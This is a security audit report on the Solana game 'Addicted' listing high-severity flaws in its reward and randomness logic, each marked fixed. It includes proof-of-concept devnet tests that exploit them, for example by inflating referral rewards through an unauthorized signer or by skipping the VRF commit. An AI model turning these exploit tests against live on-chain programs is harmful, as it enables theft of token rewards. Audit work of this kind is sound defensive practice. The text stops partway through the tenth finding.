ADDICTEDDOTFUN
Security Review

AUGUST, 2025

www.chaindefenders.xyz
https://x.com/DefendersAudits

Lead Auditors

PeterSR

0x539.eth

0xSilvermist

Table of Contents

Protocol Summary

Addicted is a Solana-based decentralized farming simulation that integrates advanced tokenomics, a multi-level referral system, and Switchboard's VRF multi-call pattern for verifiable randomness. It features a deflationary WEED token with a 240M supply cap, 2% transfer fees, and a 7-day halving mechanism, alongside a dynamic farming system with 10 levels and 12 seed types. Security measures include comprehensive input validation, integer overflow protection, reentrancy prevention via Anchor, and VRF-specific safeguards like ownership verification and fee bounds (0.001-0.005 SOL). The program, built with Anchor 0.31.1 and SPL Token 2022, consists of 5,627 lines of Rust code, with a modular architecture separating economic calculations, user management, and game logic.

Disclaimer

The Chain Defenders team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the implementation of the contracts.

The report consists of multiple high and medium severity vulnerabilities. We strongly advise the protocol team to undergo at least one more audit to further enhance security and coverage.

Risk Classification

Likelihood/Impact	High	Medium	Low
High	H	H/M	M
Medium	H/M	M	M/L
Low	M	M/L	L

Audit Details

Commit Hash

f47170c74825158f828fd471409d1cd110694bce

Scope

Id	Files in scope
1	lib.rs
2	state.rs
3	error.rs
4	admin.rs
5	user.rs
6	farm.rs
7	seeds.rs
8	referral.rs
9	operator.rs
10	grow_powers.rs
11	invite.rs
12	economic_validation.rs
13	user_validation.rs
14	system_validation.rs
15	vrf_validation.rs
16	game_validation.rs
17	economics.rs
18	utils.rs
19	constants.rs

Roles

Id	Roles
1	Admin
2	Operator
3	User

Executive Summary

Issues found

Severity	Count	Description
High	11	Critical vulnerabilities
Medium	10	Significant risks
Low	20	Minor issues with low impact
Informational	22	Best practices or suggestions
Gas	0	Optimization opportunities

Findings

High

High 01 Wrong Cap When Calculating Probability Thresholds

Location

state.rs:1004

Description

In `state.rs` :: `from_random_with_table` the code currently calculates `level_index` as `(farm_level.saturating_sub(1) as usize).min(5)` when selecting the probability thresholds for seed generation based on farm level. However, according to the design and comments, only the first five levels (indices 0–4) are meant to be active at launch, with higher levels (6 and above) to be configured by an admin at a later stage. By capping at 5, the code allows access to the sixth entry in the probability thresholds array, which may be uninitialized or contain invalid data if the admin has not yet configured it. This results in unpredictable and insecure behavior for users with farm levels 6 or higher, such as incorrect seed distributions. In practice it will always go to the "failsafe" route of the function which as described should not be reachable.

Proof of Concept

Add the following test to the `initialization_test.rs` file:

```
#[test]
fn test_seed_from_random_with_table_wrong_cap() {
    let table = ProbabilityTable::init_standard_table();

    // Test with invalid level index (greater than 5)
    let result = SeedType::from_random_with_table(1234, &table, 6);

    // Will always default to last case (failsafe) which should not be possible with rightly defined table and logic.
    assert_eq!(result, SeedType::from_index(table.seed_count - 1).unwrap());
}
```

Recommendation

Change the cap in the `level_index` calculation from `.min(5)` to `.min(4)`, i.e., use `let level_index = (farm_level.saturating_sub(1) as usize).min(4);`. This ensures that only the first five configured levels are accessible until the admin explicitly configures additional levels, preventing access to potentially uninitialized or invalid data and aligning the implementation with the intended game progression and security model.

Also consider adding support for active levelling as currently the function does not support it.

The function will look like this:

```
pub fn from_random_with_table(random: u64, table: &ProbabilityTable,
    farm_level: u8) -> Self {
    // Step 1: Normalize 64-bit randomness to basis points (0-9999)
    let value = (random % 10000) as u16;

    // Step 2: Convert farm level to array index (levels 1-6 → indices
    0-5)
-   let level_index = (farm_level.saturating_sub(1) as usize).min(5);
+   let level_index = (farm_level.saturating_sub(1) as usize).min(4);

    ...
}
```

Status

Fixed

High 02 Unsupported Active Levelling By `get_active_thresholds` And `from_random_with_table`

Location

state.rs:357

state.rs:1004

Description

The functions `get_active_thresholds` and `from_random_with_table` currently use `.min(4)` or `.min(5)` to cap the farm level index when accessing probability thresholds for seed generation. This means that only the first five levels (indices 0–4) are supported, even though the system is designed to allow up to 10 farm levels. If the admin unlocks additional levels (6–10) and configures their probability tables, these functions will not correctly access the thresholds for those higher levels. As a result, users with farm levels above 5 will receive incorrect seed distributions, and the system may ignore the intended configuration for those levels, leading to broken game progression and economic imbalance.

Proof of Concept

Add the following test to the `farm_level6_tests.rs` file:

```
#[test]
fn test_active_leveling_not_supported() {
    let mut prob_table = ProbabilityTable::init_standard_table();
    prob_table.version = 2;
    prob_table.seed_count = 12;
    prob_table.revealed_seed_count = 12;
    prob_table.active_levels = 10;

    prob_table.grow_powers = [
        100,    // OG Kush
        180,    // Blue Dream
        420,    // Sour Diesel
        720,    // Girl Scout Cookies
        1000,   // Gorilla Glue
        5000,   // Unicorn Poop
        15000,  // Granddaddy Purple
        30000,  // Super Lemon Haze
        60000,  // Godfather OG
        100000, // White Widow
        150000, // Northern Lights
        200000, // Purple Haze
    ];

    prob_table.revealed_seeds_mask = 0xFFF; // Binary: 111111111111 (12 bits set)

    prob_table.probability_thresholds[5] = prob_table.probability_thresholds[4].clone();

    let seed_type_level_6 = SeedType::from_random_with_table(1234, &prob_table, 6);
    let seed_type_level_7 = SeedType::from_random_with_table(1234, &prob_table, 7);
    let seed_type_level_8 = SeedType::from_random_with_table(1234, &prob_table, 8);
    let seed_type_level_9 = SeedType::from_random_with_table(1234, &prob_table, 9);
    let seed_type_level_10 = SeedType::from_random_with_table(1234, &prob_table, 10);

    // Even though probability tables for level 7-10 are not defined, they just remain the same due to from_random_with_table not supporting levels beyond 6
    assert_eq!(seed_type_level_6, seed_type_level_7);
```

```
36      assert_eq!(seed_type_level_7, seed_type_level_8);
37      assert_eq!(seed_type_level_8, seed_type_level_9);
38      assert_eq!(seed_type_level_9, seed_type_level_10);
39
40      let active_thresholds_level_6 = prob_table.get_active_thresholds
        (6);
41      let active_thresholds_level_7 = prob_table.get_active_thresholds
        (7);
42      let active_thresholds_level_8 = prob_table.get_active_thresholds
        (8);
43      let active_thresholds_level_9 = prob_table.get_active_thresholds
        (9);
44      let active_thresholds_level_10 = prob_table.get_active_thresholds
        (10);
45
46      // Even though probability tables for level 7-10 are not defined,
        they just remain the same due to get_active_thresholds not
        supporting levels beyond 5
47      assert_eq!(active_thresholds_level_6, active_thresholds_level_7);
48      assert_eq!(active_thresholds_level_7, active_thresholds_level_8);
49      assert_eq!(active_thresholds_level_8, active_thresholds_level_9);
50      assert_eq!(active_thresholds_level_9, active_thresholds_level_10);
51  }
```

Recommendation

Update the level index calculation in both functions to use `.min(table.active_levels - 1)` instead of hardcoded values. This ensures that the functions dynamically support all currently active levels as configured by the admin, allowing proper access to probability thresholds for up to 10 levels and maintaining correct game logic as the system expands.

This will look like this:

```
1  let level_index = (farm_level.saturating_sub(1) as usize).min(table.
       active_levels - 1);
```

Status

Fixed

High 03 Incorrect VRF Fee Check

Location

seeds.rs:860

Description

The code checks whether the user's wallet has enough SOL to cover the VRF fee required for randomness requests:

```
require!(
    ctx.accounts.user.lamports() ≥ max_vrf_fee,
    GameError::InsufficientSolForVrf
);
```

However, in the Switchboard VRF workflow, the VRF fee is not paid directly from the user's wallet during the transaction. Instead, the client is responsible for pre-funding the VRF account (randomness_account) with enough SOL to cover both rent and the VRF fee before submitting the transaction. The on-chain program should therefore validate that the VRF account itself has sufficient balance to pay the fee, not the user's wallet.

This current check can result in false positives (user has enough SOL, but VRF account is underfunded) or false negatives (user has little SOL, but VRF account is properly funded), and does not guarantee that the VRF request will succeed.

Recommendation

Update the check to validate the VRF account's balance directly:

```
  require!(
      ctx.accounts.randomness_account.lamports() ≥ estimated_vrf_fee,
      GameError::InsufficientVrfFunding
  );
```

Status

Fixed

High 04 Purchase And Open Can Happen Without A VRF Commit First

Location

seeds.rs:800

Description

The current implementation of `seeds.rs` :: `purchase_seed_pack` does not properly validate that the VRF commit phase has been executed before allowing a seed pack purchase or opening to succeed. Specifically, if the `seed_slot` field in the VRF account data is zero, this indicates that the commit phase was not performed and the VRF randomness was not properly requested. However, the program does not fail in this case; instead, it allows the purchase or opening transaction to proceed. This means a user could potentially bypass the randomness commit, resulting in a seed pack that is not backed by cryptographically secure randomness. This undermines the integrity of the commit-reveal pattern and could allow manipulation or predictability in seed generation.

Proof of Concept

Add the following test to the `devnet/05-vrf-and-game-flow.test.ts` file:

```
it("Should purchase without commit", async function () {
  this.timeout(300000); // 5 minutes

  // Clean up any existing unopened packs
  const existingPackId = await getLatestUnopenedPackId(player.
   publicKey);
  if (existingPackId) {
    console.log("\n Cleaning up existing unopened packs...");
    const cleaned = await cleanupUnopenedPacks(player);

    if (!cleaned) {
      const stillExists = await getLatestUnopenedPackId(player.
   publicKey);
      if (stillExists) {
        console.log(" Could not clean up unopened packs");
        this.skip();
        return;
```

```
      }
    }
  }

  // Check token balance
  try {
    const tokenAccount = await getAccount(
      connection,
      playerTokenAccount,
      "confirmed",
      TOKEN_2022_PROGRAM_ID
    );
    const balance = Number(tokenAccount.amount) / 1e6;
    if (balance < 500) {
      console.log(` Insufficient WEED balance: ${balance} (need 500)
    `);
      this.skip();
      return;
    }
  } catch (e) {
    console.log(" Player token account not found");
    this.skip();
    return;
  }

  console.log("\n Starting VRF multicall flow...");

  // Get current pack counter
  const configAccount = await connection.getAccountInfo(configPDA);
  if (!configAccount) {
    throw new Error("Config account not found");
  }
  const seedPackCounter = configAccount.data.readBigUInt64LE(
    8 + 8 + 8 + 8 + 32 + 32 + 8 + 4
  );
  console.log(` Will create pack ID: ${seedPackCounter}`);

  // Setup Switchboard SDK
  const provider = new anchor.AnchorProvider(
    connection,
    new anchor.Wallet(player),
    { commitment: "confirmed" }
  );
  const sbProgram = await anchor.Program.at(
    sb.ON_DEMAND_DEVNET_PID,
    provider
  );
```

```
62
63  const vrfKeypair = Keypair.generate();
64  console.log(
65    `Creating VRF account: ${vrfKeypair.publicKey.toString()}`
66  );
67
68  // ═══ Phase 1: VRF Create ═══
69  console.log("\n Phase 1: Creating VRF account...");
70  const [randomness, createVrfIx] = await sb.Randomness.create(
71    sbProgram,
72    vrfKeypair,
73    SWITCHBOARD_QUEUE
74  );
75
76  const createTx = new Transaction().add(createVrfIx);
77  const createSig = await sendAndConfirmTransaction(
78    connection,
79    createTx,
80    [player, vrfKeypair],
81    { commitment: "confirmed" }
82  );
83  console.log(" VRF account created:", createSig);
84
85  // Wait a moment to ensure account is available
86  await new Promise((resolve) => setTimeout(resolve, 2000));
87
88  // ═══ Phase 2: Purchase ═══
89  console.log("\n Phase 2: only Purchase without commit call...");
90
91  // Build purchase instruction
92  const userStatePDA = getUserStatePDA(player.publicKey);
93  const farmSpacePDA = getFarmSpacePDA(player.publicKey);
94  const seedPackPDA = getSeedPackPDA(player.publicKey, seedPackCounter
     );
95  const escrowPDA = getEscrowPDA(player.publicKey, seedPackCounter);
96  const escrowTokenAccountPDA = getAssociatedTokenAddressSync(
97    rewardMintPDA,
98    escrowPDA,
99    true,
100   TOKEN_2022_PROGRAM_ID
101 );
102
103 const purchaseIx = new TransactionInstruction({
104   keys: [
105     { pubkey: userStatePDA, isSigner: false, isWritable: true },
106     { pubkey: farmSpacePDA, isSigner: false, isWritable: true },
107     { pubkey: configPDA, isSigner: false, isWritable: true },
```

```
      { pubkey: seedPackPDA, isSigner: false, isWritable: true },
      { pubkey: rewardMintPDA, isSigner: false, isWritable: true },
      { pubkey: playerTokenAccount, isSigner: false, isWritable: true
},
      { pubkey: escrowPDA, isSigner: false, isWritable: true },
      { pubkey: escrowTokenAccountPDA, isSigner: false, isWritable:
true },
      { pubkey: vrfKeypair.publicKey, isSigner: false, isWritable:
true },
      {
        pubkey: SWITCHBOARD_ON_DEMAND_PROGRAM_ID,
        isSigner: false,
        isWritable: false,
      },
      { pubkey: SWITCHBOARD_QUEUE, isSigner: false, isWritable: false
},
      {
        pubkey: getSwitchboardEscrowPDA(),
        isSigner: false,
        isWritable: false,
      },
      { pubkey: player.publicKey, isSigner: true, isWritable: true },
      { pubkey: TOKEN_2022_PROGRAM_ID, isSigner: false, isWritable:
false },
      {
        pubkey: SystemProgram.programId,
        isSigner: false,
        isWritable: false,
      },
      {
        pubkey: ASSOCIATED_TOKEN_PROGRAM_ID,
        isSigner: false,
        isWritable: false,
      },
      {
        pubkey: new PublicKey(
          "SysvarS1otHashes111111111111111111111111111"
        ),
        isSigner: false,
        isWritable: false,
      },
    ],
    programId: PROGRAM_ID,
    data: Buffer.concat([
      getDiscriminator("purchase_seed_pack"),
      Buffer.from([1]), // quantity
      Buffer.from(new BN(12345).toArray("le", 8)), //
```

```
    user_entropy_seed
      Buffer.from(new BN(0.002 * LAMPORTS_PER_SOL).toArray("le", 8)),
    // max_vrf_fee
    ]),
  });

  // Execute multicall
  console.log("🚀 Executing purchase call...");
  const multicallTx = new Transaction()
    .add(purchaseIx); // 2. Purchase seed pack

  const multicallSig = await sendAndConfirmTransaction(
    connection,
    multicallTx,
    [player],
    { commitment: "confirmed", skipPreflight: false }
  );

  console.log("✅ PURCHASE WITHOUT COMMIT CALL SUCCESS!");
  console.log("Multicall transaction:", multicallSig);

  // Check escrow balance
  try {
    const escrowTokenBalance = await getAccount(
      connection,
      escrowTokenAccountPDA,
      "confirmed",
      TOKEN_2022_PROGRAM_ID
    );
    console.log(
      `💰 Escrow balance: ${Number(escrowTokenBalance.amount) / 1e6}
    WEED`
    );
  } catch (e) {
    console.log(`⚠️ Could not read escrow balance`);
  }

  // ═══ Phase 3: Wait for VRF fulfillment ═══
  const vrfReady = await waitForVRF(vrfKeypair.publicKey,
    seedPackCounter);
  if (!vrfReady) {
    throw new Error("VRF not fulfilled in time");
  }

  // ═══ Phase 4: Open the pack ═══
  console.log("\n🎁 Opening the pack...");
  const openTx = await openPack(
```

```
    player,
    seedPackCounter,
    vrfKeypair.publicKey
  );
  if (!openTx) {
    throw new Error("Failed to open pack");
  }
  console.log(` Pack opened successfully: ${openTx}`);

  // Verify pack is opened
  const packInfo = await connection.getAccountInfo(seedPackPDA);
  if (packInfo) {
    const isOpened = packInfo.data[49] === 1;
    expect(isOpened).to.be.true;
  }
});
```

Recommendation

Add a strict validation step to ensure that the VRF commit phase has been executed before allowing the purchase or opening to succeed. Specifically, require that `seed_slot` is non-zero and matches the expected slot timing for a valid commit. If `seed_slot` is zero, the transaction should fail with an appropriate error, preventing the creation or opening of seed packs without proper VRF.

For example:

```
-if randomness_data.seed_slot ≠ 0 {
    if randomness_data.seed_slot ≠ clock.slot - 1 {
        msg!("⚠ VRF already committed or revealed");
        msg!("  seed_slot: {}", randomness_data.seed_slot);
        msg!("  current_slot: {}", clock.slot);
        return Err(GameError::VrfAlreadyCommitted.into());
    }
-}
```

This removes the possibility of `seed_slot` being 0 thus making such scenario impossible. Another variant would be to add an “else” block that returns the appropriate error:

```
if randomness_data.seed_slot ≠ 0 {
    if randomness_data.seed_slot ≠ clock.slot - 1 {
        msg!("⚠ VRF already committed or revealed");
        msg!("  seed_slot: {}", randomness_data.seed_slot);
        msg!("  current_slot: {}", clock.slot);
        return Err(GameError::VrfAlreadyCommitted.into());
```

```
    }
} else {
    return Err(GameError::VrfNotCommitted.into());
}
```

Status

Fixed

High 05 Malicious User Can Steal L1 Referrer And L2 Referrer Rewards

Location

referral.rs

Description

In `referral.rs` the `ClaimRewardWithReferralRewards` instruction allows users to claim their farming and referral rewards, and optionally provides accounts for their Level 1 and Level 2 referrers and their corresponding user state accounts. However, there is no strict validation to ensure that the provided `level1_referrer`, `level1_referrer_state`, `level2_referrer`, and `level2_referrer_state` accounts actually correspond to the user's true referrers as recorded in their `UserState`. This means a malicious user could supply arbitrary accounts for these fields, potentially redirecting referral rewards to themselves or to other unintended accounts. Additionally, a user could omit providing a referrer account even if they have one, resulting in lost or misdirected rewards. This lack of validation undermines the integrity of the referral system and opens the door to reward theft or manipulation.

Recommendation

Instead of using user supplied `level1_referrer` and `level2_referrer` use the `referrer` field in the user's `UserState` for L1 and the referrer field in the L1 referrer's `UserState` for L2.

These changes should be done across the `claim_reward_with_referral_rewards`, `calculate_total_rewards`, `calculate_referral_distribution` functions and the `ClaimRewardWithReferralRewards` struct.

This will ensure that referral rewards are only distributed to legitimate referrers as intended by the protocol, preventing theft or accidental loss of rewards.

Status

Fixed

High 06 `parse_for_purchase` Always Returns An Empty Default Account Data

Location

seeds.rs:39

Description

In the `purchase_seed_pack` function, the program uses the `parse_for_purchase` method to parse the VRF account data and determine its state. However, this method does not actually parse or validate any real data from the VRF account. Instead, it always returns a default `RandomnessAccountData` struct with all fields set to default values (e.g., zeroed discriminator, default public keys, `result: None`, `seed_slot: 0`):

```
Ok(RandomnessAccountData {
    discriminator: [0; 8],
    authority: Pubkey::default(),
    escrow: Pubkey::default(),
    queue: Pubkey::default(),
    result: None, // No randomness yet during purchase
    seed_slot: 0, // Not committed yet
    created_at: Clock::get()?.unix_timestamp,
})
```

This means the program does not check whether the VRF account is properly initialized, committed, or contains valid randomness data. As a result, a user

could supply any account (even an uninitialized or unrelated one) as the VRF account, and the program would accept it as valid. This undermines the security of the commit-reveal randomness pattern, allowing seed pack purchases to proceed without a valid VRF commitment, and potentially enabling manipulation or predictability in seed generation.

Recommendation

Update the `parse_for_purchase` method to properly parse and validate the actual contents of the VRF account. Ensure that the account is correctly initialized, owned by the expected program, and in the correct state for the commit phase. If the VRF account does not meet these criteria, the function should return an error and prevent the purchase from proceeding. This will enforce the integrity of the randomness process and prevent users from bypassing the commit-reveal pattern.

Status

Fixed

High 07 Anyone Can Inflate Referral Rewards Through Supposedly Internal Function

Location

lib.rs

referral.rs

Description

The `lib.rs::accumulate_referral_rewards_internal` instruction is exposed as a public entrypoint and can be called by any user, not just the admin or protocol. This function allows arbitrary accumulation of referral rewards for Level 1 and Level 2 referrers by directly increasing their pending referral rewards balances.

Because there are no access controls or validation on who can call this instruction, a malicious user could repeatedly invoke it with any reward amounts and target accounts, artificially inflating referral rewards for themselves or others. This undermines the integrity of the referral system, breaks the intended economic model, and could lead to excessive token minting or reward distribution far beyond what is earned through legitimate gameplay.

Proof of Concept

1. Add the following line to the `devnet\06-advanced-operations.test.ts` file:

```
function getDiscriminator(instructionName: string): Buffer {
  const discriminators: { [key: string]: number[] } = {
    plant_seed: [139, 66, 41, 202, 41, 145, 173, 204],
    remove_seed: [20, 0, 163, 177, 155, 168, 2, 245],
    discard_seed: [153, 9, 118, 4, 85, 42, 187, 231],
    batch_plant_seeds: [152, 54, 216, 225, 232, 140, 136, 178],
    batch_remove_seeds: [215, 234, 126, 249, 42, 5, 145, 144],
    batch_discard_seeds: [172, 217, 252, 81, 250, 142, 254, 229],
    upgrade_farm_space: [236, 239, 198, 160, 101, 135, 45, 49],
    claim_rewards: [4, 144, 132, 71, 116, 23, 151, 80],
    update_treasury: [60, 16, 243, 66, 96, 59, 254, 131],
    withdraw_withheld_fees: [218, 239, 204, 189, 28, 157, 217, 82],
    transfer_fees_to_treasury: [232, 20, 136, 174, 171, 8, 106, 43],
+    accumulate_referral_rewards_internal: [81, 228, 236, 69, 206,
   133, 92, 190],
  };

  return Buffer.from(discriminators[instructionName] || []);
}
```

2. Add the following test to the same file:

```
describe("🔗 Referral Operations", () => {
    it("unauthorized signer should accumulate referral rewards
   internal for a non-operator referrer", async () => {
      console.log(`\n🧪 Testing referral reward accumulation...`);

      // Use player as the referrer (not an operator)
      const referrerL1 = player;
      const referrerL2 = player2;
      const [referrerL1StatePDA] = getUserStatePDA(referrerL1.
   publicKey);
      const [referrerL2StatePDA] = getUserStatePDA(referrerL2.
   publicKey);
      const [configPDA] = getConfigPDA();
```

```
11
12      // Ensure referrers has a UserState account
13      const referrerL1StateBefore = await connection.getAccountInfo(
14        referrerL1StatePDA
15      );
16      if (!referrerL1StateBefore) {
17        console.log(
18          ❌ Referrer L1 UserState not found - player must be
    initialized`
19        );
20        console.log(`   Run earlier tests or initialize user first`);
21        return;
22      }
23
24      const referrerL2StateBefore = await connection.getAccountInfo(
25        referrerL2StatePDA
26      );
27      if (!referrerL2StateBefore) {
28        console.log(
29          ❌ Referrer L2 UserState not found - player must be
    initialized`
30        );
31        console.log(`   Run earlier tests or initialize user first`);
32        return;
33      }
34
35      const offset = 90;
36      const pendingRewardsBeforeL1 =
37        referrerL1StateBefore.data.readBigUInt64LE(offset);
38      console.log(
39        ❌ L1 Initial pending referral rewards: ${
    pendingRewardsBeforeL1} units`
40      );
41      const pendingRewardsBeforeL2 =
42        referrerL2StateBefore.data.readBigUInt64LE(offset);
43      console.log(
44        ❌ L2 Initial pending referral rewards: ${
    pendingRewardsBeforeL2} units`
45      );
46
47      // Prepare instruction data
48      const rewardAmountL1 = 1000n * 1000000n; // 1000 WEED in base
    units (1 WEED = 1,000,000 units)
49      const rewardAmountL2 = 1000n * 1000000n; // 1000 WEED in base
    units (1 WEED = 1,000,000 units)
50
51      const data = Buffer.concat([
```

```
      getDiscriminator("accumulate_referral_rewards_internal"),
      (() => {
        const buf = Buffer.alloc(8);
        buf.writeBigUInt64LE(rewardAmountL1);
        return buf;
      })(),
      (() => {
        const buf = Buffer.alloc(8);
        buf.writeBigUInt64LE(rewardAmountL2);
        return buf;
      })(),
    ]);

    const accumulateIx = new TransactionInstruction({
      keys: [
        { pubkey: player3.publicKey, isSigner: true, isWritable: true },
        { pubkey: referrerL1StatePDA, isSigner: false, isWritable: true },
        { pubkey: referrerL2StatePDA, isSigner: false, isWritable: true },
        { pubkey: configPDA, isSigner: false, isWritable: false },
      ],
      programId: PROGRAM_ID,
      data,
    });

    // Send transaction (unauthorized signer sends and can inflate anyones referral rewards)
    try {
      const tx = new Transaction().add(accumulateIx);
      const signature = await sendAndConfirmTransaction(
        connection,
        tx,
        [player3],
        {
          commitment: "confirmed",
        }
      );
      console.log(
        ✅` Transaction succeeded: ${signature.substring(0, 8)}...`
      );
    } catch (error: any) {
      console.log❌(` Transaction failed: ${error.message}`);
      throw error;
    }

```

```
95        // Check updated pending rewards
96        const referrerL1StateAfter = await connection.getAccountInfo(
97          referrerL1StatePDA
98        );
99        const pendingRewardsAfterL1 =
100         referrerL1StateAfter!.data.readBigUInt64LE(offset);
101       console.log(
102         ✅ Updated pending referral rewards L1: ${
      pendingRewardsAfterL1} units`
103       );
104
105       // Verify increase
106       expect(pendingRewardsAfterL1).to.equal(
107         pendingRewardsBeforeL1 + rewardAmountL1
108       );
109       console.log(
110         ✅ Pending referral rewards L1 increased by ${rewardAmountL1}
      units`
111       );
112
113       const referrerL2StateAfter = await connection.getAccountInfo(
114         referrerL2StatePDA
115       );
116       const pendingRewardsAfterL2 =
117         referrerL2StateAfter!.data.readBigUInt64LE(offset);
118       console.log(
119         ✅ Updated pending referral rewards L2: ${
      pendingRewardsAfterL2} units`
120       );
121
122       // Verify increase
123       expect(pendingRewardsAfterL2).to.equal(
124         pendingRewardsBeforeL2 + rewardAmountL2
125       );
126       console.log(
127         ✅ Pending referral rewards L2 increased by ${rewardAmountL2}
      units`
128       );
129     });
130 });
```

Recommendation

Restrict access to the `accumulate_referral_rewards_internal` instruction so that only authorized accounts (such as the protocol itself or the admin) can invoke it. Implement access control checks (e.g., require the signer to be the admin or

a specific PDA) and validate that the reward amounts and target accounts are consistent with legitimate referral activity.

Alternatively, remove this instruction entirely if it is not needed for protocol operations, and ensure all referral reward accumulation is handled through secure, validated pathways triggered by actual user actions (such as claiming rewards).

Status

Fixed

High 08 Anyone Can Inflate Referral Rewards For A Non-operator Referrer

Location

lib.rs

referral.rs

Description

The `accumulate_referral_reward` instruction in `lib.rs` is exposed as a public entrypoint and can be called by any user, not just the protocol or admin. This function allows arbitrary accumulation of referral rewards for non-operator referrers by directly increasing their pending referral rewards balances. Because there are no access controls or validation on who can call this instruction, a malicious user could repeatedly invoke it with any reward amounts and target accounts, artificially inflating referral rewards for themselves or others. This undermines the integrity of the referral system, breaks the intended economic model, and could lead to excessive token minting or reward distribution far beyond what is earned through legitimate gameplay.

Proof of Concept

1. Add the following line to the `devnet\06-advanced-operations.test.ts` file:

```
function getDiscriminator(instructionName: string): Buffer {
  const discriminators: { [key: string]: number[] } = {
    plant_seed: [139, 66, 41, 202, 41, 145, 173, 204],
    remove_seed: [20, 0, 163, 177, 155, 168, 2, 245],
    discard_seed: [153, 9, 118, 4, 85, 42, 187, 231],
    batch_plant_seeds: [152, 54, 216, 225, 232, 140, 136, 178],
    batch_remove_seeds: [215, 234, 126, 249, 42, 5, 145, 144],
    batch_discard_seeds: [172, 217, 252, 81, 250, 142, 254, 229],
    upgrade_farm_space: [236, 239, 198, 160, 101, 135, 45, 49],
    claim_rewards: [4, 144, 132, 71, 116, 23, 151, 80],
    update_treasury: [60, 16, 243, 66, 96, 59, 254, 131],
    withdraw_withheld_fees: [218, 239, 204, 189, 28, 157, 217, 82],
    transfer_fees_to_treasury: [232, 20, 136, 174, 171, 8, 106, 43],
+    accumulate_referral_reward: [24, 31, 36, 7, 236, 199, 247, 124],
  };

  return Buffer.from(discriminators[instructionName] || []);
}
```

2. Add the following test to the same file:

```
describe("🔗 Referral Operations", () => {
    it("unauthorized signer should accumulate referral rewards for a non-operator referrer", async () => {
      console.log(`\n🧪 Testing referral reward accumulation...`);

      // Use player as the referrer (not an operator)
      const referrer = player;
      const [referrerStatePDA] = getUserStatePDA(referrer.publicKey);
      const [configPDA] = getConfigPDA();

      // Ensure referrer has a UserState account
      const referrerStateBefore = await connection.getAccountInfo(referrerStatePDA);
      if (!referrerStateBefore) {
        console.log(`❌ Referrer UserState not found - player must be initialized`);
        console.log(`   Run earlier tests or initialize user first`);
        return;
      }

      const offset = 90;
      const pendingRewardsBefore = referrerStateBefore.data.readBigUInt64LE(offset);
      console.log(`📊 Initial pending referral rewards: ${pendingRewardsBefore} units`);

      // Prepare instruction data
```

```
23      const rewardAmount = 1000n * 1000000n; // 1000 WEED in base
    units (1 WEED = 1,000,000 units)
24      const referralLevel = 1; // L1 referrer
25      const data = Buffer.concat([
26        getDiscriminator("accumulate_referral_reward"),
27        (() => {
28          const buf = Buffer.alloc(8);
29          buf.writeBigUInt64LE(rewardAmount);
30          return buf;
31        })(),
32        Buffer.from([referralLevel]),
33      ]);
34
35      const accumulateIx = new TransactionInstruction({
36        keys: [
37          { pubkey: referrerStatePDA, isSigner: false, isWritable:
    true },
38          { pubkey: referrer.publicKey, isSigner: false, isWritable:
    false },
39          { pubkey: configPDA, isSigner: false, isWritable: false },
40        ],
41        programId: PROGRAM_ID,
42        data,
43      });
44
45      // Send transaction (unauthorized signer sends and can inflate
    anyones referral rewards)
46      try {
47        const tx = new Transaction().add(accumulateIx);
48        const signature = await sendAndConfirmTransaction(connection,
    tx, [player3], {
49          commitment: "confirmed",
50        });
51        console.log(` Transaction succeeded: ${signature.substring(0,
     8)}... `);
52      } catch (error: any) {
53        console.log(` Transaction failed: ${error.message}`);
54        throw error;
55      }
56
57      // Check updated pending rewards
58      const referrerStateAfter = await connection.getAccountInfo(
    referrerStatePDA);
59      const pendingRewardsAfter = referrerStateAfter!.data.
    readBigUInt64LE(offset);
60      console.log(` Updated pending referral rewards: ${
    pendingRewardsAfter} units`);
```

```
61
62        // Verify increase
63        expect(pendingRewardsAfter).to.equal(pendingRewardsBefore + (
      rewardAmount / 10n));
64        console.log(` Pending referral rewards increased by ${
      rewardAmount} units`);
65      });
66  });
```

Recommendation

Restrict access to the `accumulate_referral_reward` instruction so that only authorized accounts (such as the protocol itself or the admin) can invoke it. Implement access control checks (e.g., require the signer to be the admin or a specific PDA) and validate that the reward amounts and target accounts are consistent with legitimate referral activity.

Alternatively, remove this instruction entirely if it is not needed for protocol operations, and ensure all referral reward accumulation is handled through secure, validated pathways triggered by actual user actions (such as claiming rewards).

Status

Fixed

High 09 Premature `last_harvest_time` Initialization Lets Players Earn Rewards Before Buying Farm Space

Location

invite.rs:238

invite.rs:248

Description

`use_referral_code` creates a new `UserState` and immediately sets

```
user_state.last_harvest_time       = Clock::get()?.unix_timestamp;
user_state.pending_rewards_timestamp = Clock::get()?.unix_timestamp;
```

At this moment the player owns no farm space and has `total_grow_power = 0`, so they should not accrue farming rewards. Later, when the player finally buys a farm space and gains grow power, the user starts accumulating awards.

However, the reward calculation uses the stored `last_harvest_time` (and `pending_rewards_timestamp`) as the starting point. Because those fields were anchored to the registration time, the player is credited for all time that elapsed before even owning grow power.

Proof of Concept

1. Player registers via `use_referral_code` at `T = 1 second`.
2. At T = 172 801 seconds (2 days) the player calls `buy_farm_space`.
3. At `T = 864 001` seconds (10 days after registration) the player calls his rewards. Reward calculation subtracts `last_harvest_time` (still = 1 second) from current time, so the “elapsed” period is the full 10 days and the player receives farming rewards for the first 2 days when their grow power was zero.

Recommendation

Set the `last_harvest_time` and `pending_rewards_timestamp` in `buy_farm_space()`.

Status

Fixed

High 10 Double Counting Of Rewards Inside `claim_reward_with_referral_rewards`

Location

economics.rs:272

Description

`calculate_total_rewards` calls two helper function in sequence:

1. `accumulate_pending_rewards` - finalises rewards from the last pending-timestamp up to now, adding them to `pending_farming_rewards` and then setting `pending_rewards_timestamp = now`.
2. `calculate_current_period_rewards` - immediately computes "current-period" rewards from `last_harvest_time` up to now.

Although the rewards were just calculated in the `accumulate_pending_rewards`, they will be calculated again in `calculate_current_period_rewards` and added to the user total reward.

```
crate::economics::accumulate_pending_rewards(
        &mut ctx.accounts.user_state,
        &ctx.accounts.global_stats,
        &ctx.accounts.config,
        current_time,
    )?;

    // ═══ Current Period Reward Calculation Phase ═══
    // Calculate rewards from last pending confirmation point to current time
    // Uses current Grow Power and elapsed time (including automatic halving application)
    let current_period_reward = crate::economics::calculate_current_period_rewards(
        &ctx.accounts.user_state,
        &ctx.accounts.global_stats,
        &ctx.accounts.config,
        current_time,
    )?;

    // ═══ Total Farming Reward Calculation Phase ═══
    // Total farming reward = past pending + current period
    let pending_farming_rewards = ctx.accounts.user_state.pending_farming_rewards;
